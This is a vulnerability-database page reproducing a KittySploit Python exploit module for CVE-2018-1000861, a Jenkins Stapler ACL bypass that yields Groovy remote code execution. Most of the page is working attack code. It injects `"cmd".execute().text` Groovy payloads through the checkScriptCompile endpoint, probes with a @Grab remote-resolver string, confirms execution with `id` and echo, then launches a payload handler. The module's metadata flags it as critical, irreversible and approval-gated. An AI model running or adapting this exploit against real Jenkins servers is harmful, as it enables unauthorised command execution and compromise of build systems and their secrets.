Lucene search
+L

Jenkins Stapler Groovy RCE (CVE-2018-1000861)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

ACL bypass on Stapler descriptorByName endpoints in Jenkins allows Groovy RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Jenkins Stapler ACL bypass Groovy RCE (CVE-2018-1000861)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Jenkins Stapler Groovy RCE (CVE-2018-1000861)',
        'description': (
            'Exploits CVE-2018-1000861 in Jenkins <=2.153 / LTS <=2.138.3: ACL bypass on '
            'descriptorByName endpoints allows Groovy execution via checkScriptCompile.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-1000861'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-1000861',
        ],
        'tags': ['jenkins', 'groovy', 'stapler', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_1000861_detect'],
            },
        },
    }

    descriptor = OptString(
        '/securityRealm/user/admin/descriptorByName/'
        'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile',
        'Stapler descriptor endpoint',
        required=False,
        advanced=True,
    )

    def execute(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        groovy = f'"{safe}".execute().text'
        path = f'{str(self.descriptor or "").strip()}?value={urllib.parse.quote(groovy, safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-1000861 Groovy exec confirmed', 'confidence': 'high'}
        probe = (
            '/securityRealm/user/admin/descriptorByName/'
            'org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
            '?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)'
            '%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'
        )
        r = self.http_request(method='GET', path=probe, allow_redirects=False)
        if r and 'package#vulntest' in (r.text or ''):
            return {'vulnerable': True, 'reason': 'Jenkins checkScriptCompile ACL bypass', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Jenkins Stapler bypass not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
7.6High risk
Vulners AI Score7.6
CVSS 3.19.8
CVSS 210
EPSS0.98326
SSVC
1